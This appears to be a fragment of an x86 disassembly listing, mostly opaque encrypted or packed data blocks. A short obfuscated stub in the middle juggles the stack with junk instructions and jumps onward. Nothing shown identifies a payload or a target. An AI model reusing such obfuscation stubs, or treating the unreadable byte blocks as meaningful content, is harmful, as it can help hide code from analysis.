		dd 0EF5D49EDh, 3397F0FEh, 0DA6574FFh, 0BFC57855h, 0F1E4ECF1h
		dd 30474643h, 0EDEA5C8Eh, 0F73C517h, 4F66D607h,	1E535B49h
		dd 5DF5B1AEh, 0AD0AB6C3h, 0CE1F499Ch, 47A7677Eh, 0F8A8DC40h
		dd 0C5BCBEEh, 0C75A5C59h, 365843EFh, 8494913Bh,	43EFCD50h
		dd 527C2F58h, 0E9B1AE00h, 0D4CDC937h, 1F616EDCh, 43EF32EBh
		dd 81FD258h, 0A76CB349h, 3CBEBEh, 0ECC80000h, 82A776AAh
		dd 0A2555E2Bh, 0BFD67878h, 3498EFFFh, 0CCAA1800h, 45939B5Bh
		dd 8E41DCF3h, 0B3F8191h, 58445A12h, 5A283FF2h, 58445AC7h
		dd 11016F67h, 0BEA6CD7Bh, 0EF86h, 34269000h, 5142CEC5h
		dd 2B76001Dh, 4151045Eh, 185925B8h, 0AA0E61B4h,	62E93468h
		dd 681B5E2Bh, 0D006DC51h, 0F6FA0266h, 0F6CC4158h, 7F5552E4h
		dd 6D4DDB6Dh, 5E2B66F9h, 0DC6ADC0Eh, 45F7E6EEh,	90324948h
		dd 0FBEFEC5Eh, 0FC3094F3h, 5BCC79F0h, 0C5B341F4h, 0C89C13D7h
		dd 0E2F9F36Fh, 57BBCC22h, 6DDD2715h, 23FB2256h,	56095844h
		dd 5B05C946h, 0B7017644h, 500355DAh, 44F6E4ECh,	55314847h
		dd 36F01F4Dh
		dd 0D24B7FA6h, 325E1CD9h, 0C2C16F7Fh, 4E0290E3h, 3DC8F118h
		dd 2FEAA223h, 8F8E8B3Dh, 0B5B6E93Ch, 5BC4CB17h,	1AADEC2h
		dd 47970000h, 0A4B76BF9h, 9AD68A18h, 0FDF2A634h, 0DF0DC14Fh
		dd 0EACCDF6Dh, 0E06ED80Eh, 0FD8B392Ch, 16A40849h, 30BE7062h
		dd 22FB2F13h, 0E2583EDBh, 30262A00h, 70342286h,	59619B3h
		dd 31E5EB02h, 41FF8D3Fh, 399DE608h, 0CCAA1305h,	1F1CCF5Bh
		dd 445A041Dh, 5AE6F958h, 4194D5Dh, 0F858445Ah, 7BCD1B45h
		dd 674467Eh, 3F922233h,	0F0E04E46h, 0BEA6CD5Ah,	0B965h
		dd 34266F00h, 81E03D71h, 71245E2Bh, 1D4B211Eh, 0BAACAEABh
		dd 0CF5E2B85h, 0E99D2B9Dh, 0D9E145F7h, 3B3A3799h, 33BBAF24h
		dd 30BCF054h, 345BCC91h, 3A2F1D81h, 8953D117h, 6D8DEF5h
		dd 73B9FE8h, 55DB2F8Fh,	343CA053h, 52069426h, 0D3E3F504h
		dd 0C4CCC308h, 1D298D90h, 69BC6F5Eh, 1910E316h,	0C55EC4CBh
		dd 0CBE1h, 0D8667600h, 0F745964Ah, 13BDB569h, 2E82D185h
		dd 4CFEECA0h, 0EDC9ABBEh, 0BBF4DFFh, 28DC6ADAh,	41F58329h
		dd 0F20F9D2Fh, 0DA43DA0Eh, 0DFC1583Eh, 0EDE4EC09h, 2C43423Fh
		dd 0ED2D5C8Ah, 4C2E8643h, 0EA3D8FE1h, 3550997h,	2D3523B1h
		dd 8F8E8B25h, 3426CC78h, 0BDAF8582h, 2F935A4Eh,	4C9A10D7h
		dd 0ABFEFDFAh, 0C416CA58h, 34F02D61h, 0C60D5E2Bh, 4194476Ah
		dd 5BEDFFB3h, 4BFDEFF7h, 0C3384F4Eh, 6A6ABB3h, 25F30A09h
		dd 4D8C2C9Dh, 0FEFB499Ah, 8B883228h, 0C1BD2BA9h, 22F56335h
		dd 3CF07E30h, 0C59B982Ah, 0A7194B8Eh, 0DD8F5754h, 0EC20626Fh
		dd 4A83CD31h, 670920D3h, 575FC375h, 9AA0B701h, 4542F4E6h
		dd 361h, 0FBCBF700h, 8B883626h,	1411A3B5h, 9C99333Eh, 282597C6h
		dd 0B5B20452h, 423F89DFh, 0CCC9676Ch, 5754FAF6h, 0E5E26E81h
		dd 0E389531Ah, 4BF57h, 0FB010000h, 4EB835Fh, 5C241C87h
		dd 61CC68h, 240C8900h, 1EDD68h,	241C8900h, 16B85056h, 2D0FE313h
		dd 69E0059Fh, 6E35D0F7h, 48049858h, 0D0D05A05h,	58C6891Bh
		dd 0B7198BB9h, 5EF1018Ch, 241C8B54h, 5004C483h,	8B8h, 89D80100h
		dd 24048B08h, 0FF04C483h, 815B2434h, 4C4h, 240C8B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFB9F9Dh, 0F01C83A4h
		dd 0D5E8A88Dh, 40B83ECCh, 305ECA9h, 5DE0FFC5h, 936230F3h
		dd 2E3A02A3h, 79138E3Ch, 6F1FEB7Ah, 0A809F76Bh,	0BA04448Eh
		dd 0C207EA8Bh, 195222E5h, 6D5B8C26h, 0EB6B2489h, 0FC084E8Bh
		dd 0E607C3E6h, 0B5540B4Bh, 8E0B629Eh, 2E287CB6h, 0EB67AE0Dh
		dd 2Dh,	0AE0DD000h, 0F2319CBFh,	0A5ADF9DFh, 528C88A7h
		dd 0B7FB75h, 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h
		dd 0F86B03B2h, 86E97A0Bh, 6800000Ah, 5ECAB3Ah, 0FAD63AE9h
		dd 0ACA468FFh, 30E905ECh, 68FFFAD6h, 5ECAE12h, 0FAD626E9h
		dd 0AECC68FFh, 1CE905ECh, 68FFFAD6h, 5ECAF5Bh, 0FAD612E9h
		dd 0B03468FFh, 8E905ECh, 68FFFAD6h, 5ECB0CFh, 0FAD5FEE9h
		dd 0B27D68FFh, 0F4E905ECh, 68FFFAD5h, 5ECB344h,	0FAD5EAE9h
		dd 9F7A6AFFh, 0E841B909h, 36E30252h, 81B050A0h,	0C9609BEBh
		dd 8EB11A33h, 0D626BC6Dh, 23730928h, 6DBD53DEh,	34099F92h
		dd 7D4A2E1Bh, 0ECD25A7Eh, 47FB2C67h, 932B78B9h,	5361762Dh
		dd 5FD185ACh, 39332F7Bh, 47EED911h, 0C7517E48h,	0CB3442F9h
		dd 7F80D066h, 0BEE965B2h, 0DEAA974Eh, 66576AF2h, 197FB24Eh
		dd 85AC5462h, 0D32C3A4Dh, 8778C85Eh, 0B6E15DAAh, 617D8F46h
		dd 43571532h, 3D2A3D75h, 5D518DB2h, 0DA57A7B5h,	0A2C694A2h
		dd 0D91461B2h, 0C3B95D3Ah, 8, 4F9F35E4h, 98E87EABh, 0E636CC4Dh
		dd 3181171Ah, 0B0C95FCAh, 52D72447h, 9F926CBCh,	0E948B909h
		dd 35FC0353h, 0C4B1CA9Fh, 5A7E7EE0h, 0C6FD8268h, 0C9ABF839h
		dd 3644FB36h, 7F1764C5h, 0F0FE5547h, 46EC24F5h,	0E6F4AB1Dh
		dd 0E7C9161Bh, 7CB41A17h, 0E01D7C69h, 0CF9D5176h, 0DFE1C182h
		dd 767C5A78h, 0F44BF560h, 7D8B409Bh, 577AF82h, 55h, 4EB1BFB0h
		dd 0C0AD96E3h, 5491D3DCh, 0F8309664h, 916D2152h, 96833AA0h
		dd 5176FBCFh, 0B5CA814Fh, 78FBE4C8h, 0AD546C5Ah, 399F3784h
		dd 0FBB19582h, 6B395A78h, 0E9C98A33h, 6B5A78FBh, 6F519E93h
		dd 8256A376h, 0A0374492h, 6F194C9Ah, 50409BD4h,	0EFh, 0F839C6FBh
		dd 0AD32C9ABh, 7529DD54h, 85CE09F1h, 7759A60Ch,	0E4F2A988h
		dd 32DB1316h, 4334AF50h, 5F433024h, 0E75492A6h,	50806519h
		dd 97C65CC2h, 5492782Ch, 0B168C936h, 748D42A3h,	72D870BDh
		dd 7F8483Ah, 3661DD2Ah,	37220FC6h, 3F517783h, 834F3320h
		dd 0E5D25A79h, 5A798401h, 3B09BB89h, 0DAE83FD5h, 27BF0C25h
		dd 0CAA03A73h, 2A62C560h, 32E95384h, 40F10F1Dh,	40E911F3h
		dd 5BD62ADAh, 533E760Eh, 575F9A06h, 0F301B886h,	5C6A2108h
		dd 0A73F8CA5h, 0CE2D7D6Fh, 3A27375Bh, 0E4C1DF05h, 75940h
		dd 9F7A6A00h, 0E841B909h, 36E30252h, 81B050A0h,	0C9609BEBh
		dd 8EB11A33h, 0D626BC6Dh, 23730928h, 6DBD53DEh,	34099F92h
		dd 7F4A2E1Bh, 0ECD25A7Eh, 0F435C667h, 40F10E5Eh, 0BC4553AAh
		dd 0BA462875h, 2C922A77h, 62AF827Ch, 0BF8192CAh, 0A951D5ADh
		dd 7C33B311h, 9217AB8Fh, 2D653354h, 35EC5C87h, 0F3ED1220h
		dd 92182206h, 76DCAA54h, 3F8C533Eh, 0F40C5177h,	1E23D407h
		dd 7A3858D3h, 8C705D14h, 145A79A2h, 1B29E046h, 639E4EE3h
		dd 0B1E981CEh, 0A2674708h, 16E95A79h, 13ECCE1Bh, 8939D11Eh
		dd 987C6977h, 205A79A2h, 19FEC52h, 0B34A57A5h, 822C5FADh
		dd 0C2409B33h, 1E946EB0h, 139491Bh, 0E38Fh, 0D12A3800h
		dd 3B730B58h, 4DB1BF2Ah, 5FA0ACE4h, 58A385D2h, 869B84D1h
		dd 91D3B599h, 376F3D54h, 91D0E14Ch, 1D14EB54h, 0D1645466h
		dd 0B089C318h, 9251DFC3h, 33996754h, 0A4B209FBh, 8E9AD257h
		dd 9E826F71h, 26549251h, 0D0B4A158h, 58549251h,	5BD7248Ah
		dd 40557228h, 9731B529h, 0A28D7A31h, 0A551779Dh, 827C6397h
		dd 31149AFh, 0B41A0FEBh, 4F03341Eh, 661D8396h, 602D1B79h
		dd 16CD9B57h, 0EA37F208h, 0F9071A52h, 5E9D602h,	8D60634Fh
		dd 6CC359BFh, 30605C5Ah, 578FAB4Dh, 5579B04Bh, 0DF04C413h
		dd 0EBDC805Dh, 0D8000005h, 27770D0Ch, 70C056D3h, 0BE0EA475h
		dd 959EF42h, 88A137F2h,	2AFFFC1Fh, 77BA4494h, 0C17091E1h
		dd 0D24DB2Bh, 9C89A277h, 5A7E81B8h, 0C6D55A40h,	0E5EF435h
		dd 55AA40F1h, 0ABF839C6h, 4EB136C9h, 5B3F2CE3h,	0E35491D3h
		dd 0C219AF15h, 0D1609FADh, 91D35E42h, 0E018E654h, 91D415F5h
		dd 7C829054h, 900401B5h, 0A0BDA2F8h, 2791C268h,	0C3CA8370h
		dd 8452517Dh, 0EF42BFCDh, 7A8FA4B7h, 7EC7A98Dh,	0AF63315Ah
		dd 0B0F13F1Dh, 4E5A922Ah, 9AEA80B1h, 37FCC65h, 9CB168D0h
		dd 8477708Eh, 1C073FA5h, 5763AD6Dh, 920DAE8h, 0DEEC24BCh
		dd 2586EC10h, 15F2DF02h, 53171h, 0C7529200h, 1019E131h
		dd 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh, 0FE4EE445h
		dd 4B9B3100h, 95E57BB6h, 5C31C76Ah, 81725643h, 14FA5A7Eh
		dd 0F839C68Fh, 0FB36C9ABh, 1CEADAAEh, 0E177BA45h, 7CFC0BB5h
		dd 7EC45h, 4970000h, 14Fh, 0D407E767h, 0C4EF5491h, 0ECB09D54h
		dd 74517D79h, 268CA55Ch, 459E616Fh, 89A1CFEDh, 0CF65CB6Dh
		dd 64B1807Fh, 964DBFE8h, 0A2877381h
		dd 69D07F6Ah, 82505763h, 26A1E5Eh, 0ED916EDFh, 4A2h, 0C056C321h
		dd 99F8A70h, 57ED2CB9h,	0A238F907h, 0EA80A952h,	0B64568D1h
		dd 718DDD73h, 27DA2AC0h, 0DB24740Ah, 0D2EBC056h, 7E8301E5h
		dd 1EA3895Ah, 0D9BDAABFh, 5C5491D3h, 91D38B6Fh,	93451354h
		dd 7E818DC5h, 6F7D66B3h, 59659D8Ch, 6A3E8BA6h, 2AD56C7Ah
		dd 0D958A8B6h, 91D3664Ah, 0BA20EE54h, 0FC4EF824h, 72F457Ch
		dd 0DA000000h, 9E04h, 0FB2C6700h, 46EDDA91h, 0C6517D7Ah
		dd 1E2C41F8h, 6A024FE2h, 80548CB6h, 0AAE201E0h,	3AD0619Eh
		dd 62BD5E3h, 0AA3DC2CEh, 992A8C57h, 21F723DAh, 8C0855BBh
		dd 4D3AF15Bh, 57697981h, 76843B09h, 0C212A889h,	2BA7F43Dh
		dd 0ECD990F8h, 5D4F8461h, 795D4A69h, 1665188h, 0B47D8333h
		dd 6B5C2A4Eh, 0C7A4D916h, 3C923h, 2FEAFA00h, 78B14999h
		dd 0C65392E2h, 1120E030h, 59D02B7Bh, 1E41AAC3h,	66B64CDDh
		dd 0B3039998h, 0FD4DE34Eh, 0C4992F02h, 83DABEABh, 7C625A7Eh
		dd 0FF04F7h, 2C670000h,	0EDDA91FBh, 517D7A46h, 3341F8C6h
		dd 49E01BCCh, 7DCA6799h, 99E97FE5h, 27ECB66h, 0C3B067D1h
		dd 576A24F7h, 0E5FAB17Fh, 223D52D3h, 0A9E150E3h, 18CF629Dh
		dd 5FABAB06h, 0AB4390A1h, 5C997EF7h, 1DE23224h,	184BC714h
		dd 810CF9B0h, 895D5048h, 2E8F5E6Dh, 69CFB38Dh, 15DC4B45h
		dd 0A44825D9h, 32Eh, 34CA4F95h,	7D1316E4h, 0CB61B82Dh
		dd 16AC857Bh, 5EF435C6h, 42B9DC45h, 0FD0151E7h,	0B34E9E34h
		dd 6798E87Eh, 465F34CAh, 7E837559h, 9217FD5Ah, 0ABF839C6h
		dd 0AEFB36C9h, 451CEADAh, 0B2C077BAh, 0BCAEE633h, 7CFCE690h
		dd 4BC745h, 2C720000h, 0EDDA91FBh, 51769F29h, 1E2CE3B1h
		dd 16FF4CDDh, 79204529h, 99FFCD5Ah, 0A5404E61h,	0D0AFDE74h
		dd 525A7920h, 97EE84ADh, 5EF7AE85h, 76631596h, 5A79B592h
		dd 0AEE64C1Ah, 89D643A2h, 0C36E92A0h, 0D8A6DE76h, 296h
		dd 0F63BC63Bh, 0F938C7A9h, 45EC1363h, 89387C8Eh, 394B1BCCh
		dd 83BB7689h, 44DFF1DAh, 0E7DE3812h, 47B8C4FCh,	0DA2533EAh
		dd 0F23FF20Dh, 0FA7F45Ah, 0C8FBE5D7h, 5DBCA960h, 0D85176F0h
		dd 73F183C6h, 73F9E1Dh,	1DDE2BF9h, 5A793D3Dh, 5104D2D8h
		dd 409B91A7h, 5088h, 0AABF3300h, 91D3D9BDh, 5B936154h
		dd 631A82B5h, 76FBAF76h, 0E9172F51h, 0FC260AF7h, 0E0AE5A78h
		dd 2F952D7Ah, 9D946A78h, 0E82011EDh, 0FB9E7E3Fh, 0DE205A78h
		dd 0DA240653h, 0E7950A57h, 0EFF58C11h, 0B0354319h, 9F493169h
		dd 80409BD4h, 0BAh, 0F839C62Bh,	0F732C9ABh, 0FA37C8AAh
		dd 0FD34CBADh, 0D0CD3867h, 28D75491h, 0B318C6BBh, 92C2E2C6h
		dd 0E89C6A54h, 0E248490Ah, 4FE21D2Bh, 40326A02h, 0D5220FF0h
		dd 7BE2E59h, 7783271Ah,	0CB612F51h, 5FCB6E1h, 220FC62Ch
		dd 57603EBCh, 2237EEBCh, 0FB48D114h, 0DC1F2B63h, 5260B74Dh
		dd 424E8693h, 4E4C70B9h, 1ADF0495h, 180993Dh, 0A1430000h
		dd 6892E278h, 0ADB2BC1h, 0D729790Fh, 8774C45Ah,	8AF30CA2h
		dd 0FF959467h, 4CE24FAFh, 962C05FCh, 0E278B946h, 2307F40Dh
		dd 0AB5A7E86h, 0B1BF40C5h, 0AC92DF4Ah, 0E09A57EAh, 447CE2BEh
		dd 0D066C338h, 0FBB27F80h, 0E82011EDh, 0FB2CA1F6h, 26EDDA91h
		dd 0A65176FCh, 0EACA8BD8h, 855A78FBh, 54FE697Fh, 94409BD4h
		dd 7AE927Fh, 68365A79h,	9FBE30h, 0C6690000h, 0C9ABF839h
		dd 0E9AAF732h, 5491D17Eh, 24BA7788h, 0B9062BD4h, 0EBA20A3Dh
		dd 76C90BFEh, 0AF451351h, 732A92C5h, 5F7F4186h,	0A2AABC57h
		dd 420B5244h, 35031149h, 51196C7Eh, 3E9A1CEDh, 16E5F306h
		dd 0CE2D7D13h, 0B36D375Bh, 22FFDF05h, 0B97Eh, 3FDA0A00h
		dd 88A159A9h, 0D643A2F2h, 2110F040h, 69C03B8Bh,	2E51BAD3h
		dd 76C65CCDh, 0C313A988h, 0D5DF33Eh, 0D4A93FF2h, 86EACEBBh
		dd 8C725A7Eh, 4EB1BF07h, 5C9FABE3h, 18E737CDh, 0AA546219h
		dd 0C8543A87h, 2F03BC01h, 0B1A3DB41h, 0F839C65Ch, 0FB36C9ABh
		dd 0E0487B65h, 791D3C29h, 0A18517Dh, 6C8E3EDBh,	0A0D870BDh
		dd 9577C492h, 0DA31C76Ah, 7DF4D8C5h, 0AE7C5A7Eh, 9C956A76h
		dd 48748E4Fh, 7AAE3163h, 72AD56Ch, 0DE5E3E50h, 3603142Eh
		dd 43BC0CFEh, 41BFA1EEh, 8CD958A6h, 9C418EF4h, 56A9B84Eh
		dd 0AF545DBh, 0A60C1DDDh, 9F627059h, 38C5A92h, 0EF000000h
		dd 1EC61358h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h
		dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h
		db 8, 0BBh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	15D4h
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 0D1A13CEh
		sub	edx, 6E9C2E69h
		sub	edx, 1
		dec	edx
		sub	edx, 52EF2D4Ch
		and	edx, 75677EBAh
		add	edx, 0C4E67292h
		mov	esi, edx
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, edi
		mov	[ecx], esi
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dd 9ED65E88h, 0B2974AF3h, 0E33704BAh, 0B422B86Bh, 0C50305ECh
		dd 0B194E0FFh, 0F48134A7h, 0C10616Ch, 0BAD33C68h, 0B96B7449h
		dd 7EE401A1h, 0BADF7BCBh, 661068B3h, 88E167EBh,	0AD916981h
		dd 7D3143D2h, 88A47A81h, 0FF5A191Eh, 5C5B5748h,	0A1CB58A4h
		dd 9B216515h, 3BC75CABh, 0F0DE7C27h, 0FAE93A4Ch, 8D8D26D8h
		dd 5ECB617h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	70C35343h, 0A8BF401Bh, 95330A2Ah, 5E722B5h, 1AA98D89h
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0A62CEC3h, 8B75E848h, 4D85C7D9h, 8C05E72Ah
		dd 0C7000073h, 0E7273985h, 5, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0FBCD32DEh
		dd 0FFDF8BD6h, 0E70091B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 426C8F29h
		dd 0CCC53EFDh, 0B58B710Eh, 5E7136Dh, 951BD89h, 95FF05E7h
		dd 5E71795h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0F2C35646h, 0C6CC6BAh, 0FF006A32h, 0E721C195h
		dd 0EBC08B05h, 0EFCCD41Ch, 0B4C04852h, 60E70F41h, 16F486C6h
		dd 0B607E62Eh, 0B8783869h, 3645A253h, 0E8C08B88h, 7, 4F219F1h
		dd 0B3BE742Fh, 0BD835A18h, 5E70C81h, 83097500h,	0E72819BDh
		dd 19740005h, 0C08B5350h, 3FCB8h, 7D858900h, 8D05E704h
		dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 3FCB8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BB663894h, 6A498Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7F564EC3h
		dd 3752CCC9h, 8D0FC08Bh, 18h, 13E9h, 0C22B1800h, 6F9EDAE0h
		dd 5069DE47h, 0EA119A92h, 18D4843Fh, 2B8DBD83h,	0F0105E7h
		dd 6C84h, 0BD83F900h, 5E71C85h,	5E850F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 4BE8C352h, 8B39D52Fh, 9BD83D9h, 5E718h, 64840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1F29EFC3h, 0BE9D9h, 0FB990000h, 822A10C2h, 0C7AC91C2h
		dd 418E963h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 7A86D4C3h, 32A2CE59h, 0F5h, 0EA815000h
		dd 16BA2316h, 4652F55Ah, 0F6030B64h, 1BA5B34Ah,	0F3FBB323h
		dd 0A93EE900h, 0F7DAE7A9h, 0F75BF7A1h, 0F3BFB33Ah, 0F11CE162h
		dd 77014DFEh, 76F833F5h, 0F3FBB33Ah, 0F3FDA2C8h, 0E5B15120h
		dd 1B0B42C7h, 7F57CAC1h, 5FE23618h, 78891153h, 2977E9F7h
		dd 827E3E40h, 49F85966h, 0B00EED06h, 2CF463DFh,	0F3BFA7C9h
		dd 0E651D920h, 958CA1F8h, 0E2F62A1Ch, 4D5DFF07h, 0D4E5C92Fh
		dd 0F7505A3Dh, 0F315B320h, 0F3BC5B77h, 0ACFFB320h, 8F66ECE3h
		dd 0B776B704h, 0F3E1B704h, 0A4BAB320h, 0C71910E3h, 0D979617Fh
		dd 44B043AAh, 0F337E6FAh, 0AEEFB320h, 4BBD5EA1h, 0BE41B6CCh
		dd 40F81385h, 993E38F0h, 0F097E020h, 0D3BFB320h, 7A84707Bh
		dd 72EB977Ch, 0E8F39764h, 0B0FBB320h, 618C7073h, 264BD411h
		dd 41C514B7h, 639F8512h, 0AB2DB59Ah, 0C754E358h, 63EFDDA4h
		dd 1BADB34Ah, 0F3FDB323h, 0AD3DED00h, 0F75BC7A9h, 0F79BF7A1h
		dd 0F3DFB33Dh, 0A22CE566h, 3FFBB57Ch, 0AEB27207h, 2476D595h
		dd 0D7B2B22Fh, 0A07FD9DEh, 0F3BFB0C8h, 30849320h, 0D7B33A7Bh
		dd 0D7B33224h, 0F3FBA924h, 30AEF020h, 0D7BEC987h, 95BED9A8h
		dd 95C3959Bh, 0ABAB979Ah, 1BB9B34Ah, 0F3F7B323h, 0AD38ED00h
		dd 0F7D9C7A9h, 0F7DAF7A1h, 0F37FB33Ch, 97CE566h, 9B09A37Eh
		dd 0F21A10B0h, 0FFF26AABh, 78FBB322h, 48F538FEh, 0C9DEF924h
		dd 96983340h, 92460C2Fh, 0F973846h, 92B6E040h, 0F3F7B298h
		dd 0A1FBD920h, 0F3FDB0C8h, 30A49320h, 0D72B3A7Ah, 0D7FB3224h
		dd 0F3DFA924h, 30BDF120h, 236CE944h, 4982F607h,	82D76784h
		dd 0A32D38B1h, 0F37FA1C9h, 0F21D8420h, 2438AE4h, 2D1DE8A3h
		dd 0BDA2BE8Eh, 62BA4E17h, 1BAAB34Ah, 0F3FEB323h, 0ACBCEC00h
		dd 0F79BCFA9h, 0F7FBF7A1h, 0F3EFB33Bh, 0E34E467h, 2C11821Fh
		dd 41DD98E6h, 2849BC42h, 0F37FA7C9h, 346A9620h,	80AB21D2h
		dd 3525A94Ah, 0E0083A08h, 0B6E43682h, 2A71D501h, 1BADB34Ah
		dd 0F37FB323h, 0A87CE800h, 0F7FBEFA9h, 0F7CBF7A1h, 0F3F7B33Ch
		dd 638E063h, 0D12975EEh, 0D3734B01h, 0C8B933D9h, 0FCBB72D6h
		dd 0F3DE97A5h, 0F068BC20h, 0FCF7B320h, 99A26A97h, 0F015E220h
		dd 0D3FEB320h, 7A267079h, 72BB976Ch, 0EBDB9764h, 0B2EFB320h
		dd 0E6797071h, 0A098A1F8h, 0A82B3846h, 0FC968AA0h, 0F37EEDA5h
		dd 0F6603320h, 99DECAABh, 0F007E320h, 0D3F7B320h, 7AA37078h
		dd 72F99764h, 0E8FA9764h, 0B37FB320h, 0CE2E7070h, 87DB3260h
		dd 0A65361Dh, 0F3F23B2Fh, 729DB320h, 725729F2h,	0F3FEB3DFh
		dd 0EFFDBCA0h, 99BFB321h, 0F037E520h, 0D3EFB320h, 7AA9707Eh
		dd 72FF9754h, 0E8F99764h, 0B5FEB320h, 3D477076h, 82CC22B3h
		dd 72B920FEh, 340025CAh, 1F402BA5h, 0F3FBB225h,	0A6FDD920h
		dd 0F3FEB0C8h, 30229320h, 0D7D33A7Dh, 0D79B3224h, 0F3EFAE24h
		dd 30A2F620h, 734EABB8h, 5ECEA710h, 4898BAE6h, 38960C7Dh
		dd 99BFB320h, 0F037E020h, 0D3EFB320h, 7AAC707Bh, 72FF977Ch
		dd 0E8F99764h, 0B0FEB320h, 0A9137073h, 0E5BEF773h, 72D046D1h
		dd 0F3EFB332h, 0F3F7BAC8h, 0B36D6320h, 0C5C83380h, 78984298h
		dd 8F96E8F9h, 78BFB320h, 295EE0F6h, 0D5E08341h,	4CF8EA7Ah
		dd 8A78D5FEh, 77F24C2Bh, 0F3FEB343h, 1B2AB34Ah,	0F3BFB323h
		dd 0AE1CEE00h, 0F7CBDFA9h, 0F7D3F7A1h, 0F3FBB33Bh, 403EE665h
		dd 56AC49D0h, 0FC73A97Ch, 0F3BFB8A9h, 0F65EBC20h, 49EFB320h
		dd 0DDF3AE71h, 446336E7h, 0F3FCB6CCh, 0F394B320h, 0F37C5B71h
		dd 0AA9FB320h, 0BF56EAE3h, 0B76EB704h, 0F3EAB704h, 0A2BAB320h
		dd 0D2233CE3h, 0B1F1457Ch, 0BB1DFC2Eh, 0F3B9302Fh, 195EB320h
		dd 97109072h, 8F4E2C93h, 7EC5768Dh, 1F40A9A5h, 5A433E25h
		dd 0C87A5F9Bh, 0C3B8C7D8h, 0B416622Fh, 0F38546CBh, 0F3F45B76h
		dd 0ADDBB320h, 8774EDE3h, 0B77FB704h, 0F369B704h, 0A5F9B320h
		dd 0FAA6C3E3h, 0FC363846h, 0F3F7B0A3h, 2270D520h, 0D8700EA3h
		dd 0FCFFB6C7h, 0F37FF0A4h, 2500BC20h, 0EF5A0EA3h, 0FCEFB6C7h
		dd 0F3F780A5h, 0A0FBD920h, 0F3FDB0C8h, 30A59320h, 0D7233A7Bh
		dd 0D7FB3224h, 0F3DFAE24h, 30BCF020h, 2A723FE3h, 6484F751h
		dd 4E7E9CB1h, 0F619AB29h, 0FBFBBC20h, 0BBFB320h, 0F3DF10C9h
		dd 703C3920h, 14DC3E9Dh, 76F4B225h, 0F3FDB346h,	1BACB34Ah
		dd 0F37FB323h, 0A97CE900h, 0F7FBE7A9h, 0F7CBF7A1h, 0F3F7B338h
		dd 0F138E162h, 0C1AEBB2Ch, 78A31B93h, 0F59670F3h, 21BFB320h
		dd 0D1116AF8h, 0F3B15A43h, 0F39DB320h, 0F3F85B77h, 0ACDDB320h
		dd 8F77ECE3h, 0B7FEB704h, 0F3A2B704h, 0A498B320h, 0A13DA0E3h
		dd 8B9622Dh, 494675B9h,	0F82833E8h, 223779A1h, 0FC228EC5h
		dd 99706097h, 0F037E320h, 0D3EFB320h, 7AAF7078h, 72FF9764h
		dd 0E8F99764h, 0B3FEB320h, 8AD97070h, 0D910D17h
		dd 48B9A49Eh, 2A6464DBh, 44520EADh, 7E76B6CCh, 0F6110FC7h
		dd 0C9A2AE98h, 5AFA805Bh, 0D8BA5436h, 8F4E72EFh, 7EC5768Dh
		dd 1F40A9A5h, 5A433E25h, 0C87A5F9Bh, 0C3B8C7D8h, 0B416622Fh
		dd 0F305E983h, 98BD83A4h, 5ECB7h, 8D8D0D74h, 5E74D24h
		dd 1B8h, 40E1FF00h, 14E9h, 53B45A00h, 2417C33Eh, 0B93D0081h
		dd 0C3E248B4h, 9D2FE3DBh, 6C86BBA3h, 6A6A1Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FC55DAC3h
		dd 0E92DE883h, 0Fh, 933E2379h, 6E764B01h, 9652051Eh, 8B27F7D2h
		dd 0D8BF0FC0h, 0C81BD83h, 750005E7h, 19BD8309h,	5E728h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 0E7177585h, 0FA9D8D05h
		dd 0FF05E9B4h, 83585BD3h, 0E72819BDh, 17740005h, 0FCB85350h
		dd 89000003h, 0E7177585h, 9B9D8D05h, 0FF05E9B1h, 56585BD3h
		dd 1751EA81h, 6A5A6148h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0A88FC357h,	33CF275Ah
		dd 8EBC08Bh, 4459A14h, 77E7339Ch, 0D1EE9h, 0BF816800h
		dd 8CE905ECh, 68FFFAC2h, 5ECC08Eh, 0FAC282E9h, 0C1F868FFh
		dd 78E905ECh, 68FFFAC2h, 5ECC30Ah, 0FAC26EE9h, 0C49068FFh
